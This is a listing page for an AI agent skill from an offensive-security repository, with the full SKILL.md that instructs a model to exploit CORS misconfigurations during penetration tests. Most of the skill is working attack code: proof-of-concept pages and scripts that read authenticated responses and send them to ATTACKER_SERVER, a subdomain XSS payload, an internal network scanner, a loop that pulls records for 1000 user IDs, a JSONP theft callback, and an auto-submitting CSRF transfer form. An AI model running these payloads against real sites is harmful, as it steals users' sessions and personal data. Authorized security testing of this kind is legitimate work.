Cors Misconfiguration logo

Cors Misconfiguration

Organization
blacklanternsecurity
cors-misconfiguration

Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.

Overview

Publisherblacklanternsecurity
Repositoryred-run
Skill namecors-misconfiguration
Stars
276
Forks
39
Bundled files
Instructions only
LicenseGPL-3.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by blacklanternsecurity on GitHub. Read the source before you install it.

Installation

Install the Cors Misconfiguration AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/blacklanternsecurity/red-run.git /tmp/red-run
mkdir -p .claude/skills
cp -r /tmp/red-run/skills/web/cors-misconfiguration .claude/skills/cors-misconfiguration
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cors Misconfiguration in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cors Misconfiguration on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cors Misconfiguration is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CORS Misconfiguration

You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [cors-misconfiguration] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Target endpoint that returns data you want to steal cross-origin (user profile, API keys, session info, PII)
  • The endpoint must use cookie-based or automatic authentication (CORS credential theft doesn't work with manual Authorization headers added by JavaScript — those require the attacker's JS to already have the token)
  • A domain you control for hosting PoC pages (or use Burp Collaborator)

Step 1: Assess

Test the target's CORS configuration by sending requests with various Origin headers. The critical combination is Access-Control-Allow-Origin set to an attacker-controllable value plus Access-Control-Allow-Credentials: true.

Quick Detection

bash
# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with null origin
curl -sI -H "Origin: null" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Systematic Header Analysis

bash
# Full CORS header scan across multiple origin patterns
ORIGINS=(
  "https://evil.com"
  "null"
  "https://TARGET.evil.com"
  "https://evil.TARGET"
  "https://TARGETevil.com"
  "https://evil-TARGET"
  "https://sub.TARGET"
  "https://TARGET_evil.com"
  "https://TARGET%60evil.com"
)

for origin in "${ORIGINS[@]}"; do
  echo "=== Origin: $origin ==="
  curl -sI -H "Origin: $origin" \
    -H "Cookie: session=VALID_SESSION" \
    "https://TARGET/api/sensitive" 2>/dev/null | \
    grep -i "access-control"
  echo
done

What to Look For

Response HeadersSeverityExploitable?
ACAO: https://evil.com + ACAC: trueCriticalYes — full credential theft
ACAO: null + ACAC: trueHighYes — via sandboxed iframe
ACAO: * (no credentials)MediumOnly if endpoint has sensitive data without auth
ACAO: * + ACAC: trueInvalidBrowsers reject this combination
ACAO: https://sub.TARGET + ACAC: trueMediumRequires XSS on trusted subdomain
No CORS headersNoneNot exploitable via CORS

ACAO = Access-Control-Allow-Origin, ACAC = Access-Control-Allow-Credentials

Step 2: Origin Reflection

The most common and critical misconfiguration — the server reflects the Origin header directly into Access-Control-Allow-Origin.

Confirm

bash
curl -sI -H "Origin: https://attacker-controlled.com" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true

Exploit — Data Exfiltration PoC

Host this on your attacker-controlled domain:

html
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
  // Display stolen data
  document.getElementById('result').innerText = this.responseText;

  // Exfiltrate to attacker server
  fetch('https://ATTACKER_SERVER/exfil', {
    method: 'POST',
    body: this.responseText
  });
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true;  // Send victim's cookies
xhr.send();
</script>
</body>
</html>

Exploit — Fetch API Variant

javascript
fetch('https://TARGET/api/user/profile', {
  credentials: 'include'
})
.then(r => r.text())
.then(data => {
  // Exfiltrate
  navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});

Step 3: Null Origin

The application whitelists null as a trusted origin. The null origin is sent by sandboxed iframes, data: URIs, and local file access.

Confirm

bash
curl -sI -H "Origin: null" \
  -H "Cookie: session=VALID_SESSION" \
  "https://TARGET/api/user/profile"

# Vulnerable if response includes:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true

Exploit — Sandboxed Iframe with Data URI

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    var xhr = new XMLHttpRequest();
    xhr.onload = function() {
      // Exfiltrate stolen data
      location = 'https://ATTACKER_SERVER/exfil?data='
        %2B encodeURIComponent(this.responseText);
    };
    xhr.open('GET', 'https://TARGET/api/user/profile', true);
    xhr.withCredentials = true;
    xhr.send();
  </script>">
</iframe>

Exploit — Srcdoc Variant

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  srcdoc="<script>
    fetch('https://TARGET/api/user/profile', {credentials: 'include'})
    .then(r => r.text())
    .then(data => {
      fetch('https://ATTACKER_SERVER/exfil', {
        method: 'POST',
        body: data
      });
    });
  </script>">
</iframe>

Step 4: Regex Bypass

When the server validates the Origin header with a regex, common implementation mistakes allow bypass.

Unescaped Dot

Server regex: ^https://api.example.com$ — dot matches any character.

bash
# Register: apiXexample.com (any char replaces the dot)
curl -sI -H "Origin: https://apiXexample.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Missing End Anchor

Server regex: ^https://example.com — no $ anchor.

bash
# Any domain starting with example.com passes
curl -sI -H "Origin: https://example.com.evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Missing Start Anchor

Server regex: example.com$ — no ^ anchor.

bash
# Any domain ending with example.com passes
curl -sI -H "Origin: https://evilexample.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Suffix Matching Without Dot

Server checks: origin ends with trusted.com (not .trusted.com).

bash
curl -sI -H "Origin: https://nottrusted.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Special Character Bypass

bash
# Underscore (Chrome/Firefox accept in origin)
curl -sI -H "Origin: https://target_evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Backtick (Safari edge case)
curl -sI -H "Origin: https://target\`evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

# Curly brace (Safari)
curl -sI -H "Origin: https://target}.evil.com" \
  "https://TARGET/api/endpoint" | grep -i "access-control"

Exploitation for Any Regex Bypass

Once you find an origin that passes validation, host the exfiltration PoC (from Step 2) on that domain.

Step 5: Subdomain Trust

The server trusts all subdomains: *.target.com. Exploitable if you can find XSS on any subdomain.

Confirm Subdomain Trust

bash
curl -sI -H "Origin: https://anything.TARGET" \
  "https://TARGET/api/user/profile" | grep -i "access-control"

# Also check for wildcard
curl -sI -H "Origin: https://evil.sub.TARGET" \
  "https://TARGET/api/user/profile" | grep -i "access-control"

Exploit via Subdomain XSS

If XSS exists on blog.target.com (or any other subdomain):

https://blog.target.com/post?q=<script>
fetch('https://api.target.com/user/profile',{credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d}))
</script>

The XSS payload on the trusted subdomain makes a credentialed request to the API, which trusts the subdomain origin and returns data with CORS headers.

Subdomain Takeover + CORS

If a subdomain has a dangling DNS record (CNAME to unclaimed service), take it over and host the CORS exploitation PoC there. The API will trust the subdomain origin.

Step 6: Wildcard Without Credentials

Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true.

Impact Assessment

  • Browsers do not send cookies with wildcard CORS
  • Only exploitable if the endpoint returns sensitive data without authentication (public API with internal data, unauthenticated admin panel)
  • Useful for internal network pivoting — public website reads from internal services that use wildcard CORS

Exploit — Internal Network Pivot

If the victim visits an attacker page while on the internal network:

javascript
// Scan internal services accessible via wildcard CORS
const targets = [
  'http://192.168.1.1/admin',
  'http://10.0.0.5:8080/api/status',
  'http://localhost:3000/debug',
  'http://jenkins.internal:8080/api/json',
  'http://grafana.internal:3000/api/org'
];

targets.forEach(url => {
  fetch(url)
    .then(r => r.text())
    .then(data => {
      if (data.length > 0) {
        fetch('https://ATTACKER_SERVER/internal', {
          method: 'POST',
          body: JSON.stringify({url: url, data: data})
        });
      }
    })
    .catch(() => {});
});

Step 7: Advanced Techniques

CORS + Cache Poisoning

If the server reflects Origin in the response and the response is cached without Vary: Origin:

bash
# Check for missing Vary header
curl -sI -H "Origin: https://evil.com" \
  "https://TARGET/page" | grep -i "vary"

# If Vary: Origin is missing, the cached response may include:
# Access-Control-Allow-Origin: https://evil.com
# Subsequent users get this cached response, enabling cross-origin reads

CORS + IDOR Chain

CORS misconfiguration combined with IDOR enables mass cross-origin data exfiltration:

javascript
// CORS allows reading responses, IDOR allows accessing any user's data
async function exfilAll() {
  for (let id = 1; id <= 1000; id++) {
    try {
      const r = await fetch(`https://TARGET/api/users/${id}`, {
        credentials: 'include'
      });
      if (r.ok) {
        const data = await r.json();
        await fetch('https://ATTACKER_SERVER/exfil', {
          method: 'POST',
          body: JSON.stringify({id: id, data: data})
        });
      }
    } catch(e) {}
    await new Promise(r => setTimeout(r, 100)); // rate limit
  }
}
exfilAll();

XSSI / JSONP Bypass

<script> tags are not subject to CORS (SOP doesn't restrict script loading). If the target has JSONP endpoints, CORS is irrelevant:

html
<script>
// Override the callback function to steal data
function jsonpCallback(data) {
  fetch('https://ATTACKER_SERVER/exfil', {
    method: 'POST',
    body: JSON.stringify(data)
  });
}
</script>
<!-- Browser loads script cross-origin, executes callback with data -->
<script src="https://TARGET/api/user?callback=jsonpCallback"></script>

Preflight Bypass

Simple requests (GET, POST with standard Content-Type) don't trigger preflight OPTIONS checks. The server processes the request — CORS only controls whether the browser lets JavaScript read the response.

html
<!-- This POST will be SENT (server processes it) even without CORS headers.
     The browser just prevents reading the response.
     Useful for blind CSRF-style attacks where you don't need the response. -->
<form action="https://TARGET/api/transfer" method="POST"
      enctype="application/x-www-form-urlencoded">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>

Step 8: Escalate or Pivot

STOP and return to the orchestrator with:

  • What was achieved (RCE, creds, file read, etc.)
  • New credentials, access, or pivot paths discovered
  • Context for next steps (platform, access method, working payloads)

OPSEC Notes

  • CORS testing with curl is invisible to the target beyond normal HTTP requests
  • Hosting PoC pages requires your own domain or Burp Collaborator
  • The actual exploitation requires the victim to visit your attacker page — no server-side artifacts beyond the credentialed request
  • High-volume CORS + IDOR enumeration (many requests through victim's browser) may trigger rate limiting or anomaly detection
  • Vary: Origin absence makes cache poisoning possible but also means your test may affect cached responses for other users — test carefully

Troubleshooting

No CORS Headers in Response

  • The endpoint may not have CORS configured at all (not exploitable via CORS)
  • Try adding Access-Control-Request-Method: GET header to trigger CORS
  • Try a preflight request: curl -X OPTIONS -H "Origin: ..." TARGET
  • Check if CORS is only enabled on specific endpoints (API vs static pages)
  • Look for JSONP as an alternative cross-origin data access method

Origin Reflected but No Credentials Header

Without Access-Control-Allow-Credentials: true, the browser won't send cookies. Impact is limited to:

  • Reading responses that don't require authentication
  • Internal network pivoting (if endpoint has wildcard and serves sensitive data without auth)

PoC Works in curl but Not in Browser

  • Check for Content Security Policy that blocks inline scripts or connections to your exfiltration server
  • Verify SameSite cookie attribute — SameSite=Strict or Lax may prevent cookie transmission on cross-origin requests from <script> (Lax allows top-level navigations)
  • Test in a private/incognito window to avoid extension interference
  • Use SameSite=None; Secure test cookies if possible

Preflight (OPTIONS) Request Fails

  • The server may allow simple requests but reject preflight for custom headers
  • Restructure the exploit to use only simple request methods and headers (GET, POST with Content-Type: application/x-www-form-urlencoded)
  • If the exploit needs custom headers (e.g., Authorization), CORS preflight is required and must pass

Rate Limiting on Exfiltration Requests

  • Add delays between requests in the PoC
  • Use navigator.sendBeacon() for single-shot exfiltration (more reliable than fetch for page unload scenarios)
  • Batch data and exfiltrate in fewer, larger requests

Frequently asked questions

What does the Cors Misconfiguration AI skill do?

Exploit CORS (Cross-Origin Resource Sharing) misconfigurations during authorized penetration testing.

Why use Cors Misconfiguration on TypingMind?

Because you install it once and use it with any model. Cors Misconfiguration is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cors Misconfiguration in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/blacklanternsecurity/red-run/tree/main/skills/web/cors-misconfiguration. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cors Misconfiguration?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cors Misconfiguration?

As many as you like. As long as a model supports skills, you can use Cors Misconfiguration with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cors Misconfiguration AI skill free?

Yes. It is published on GitHub by blacklanternsecurity under the GPL-3.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇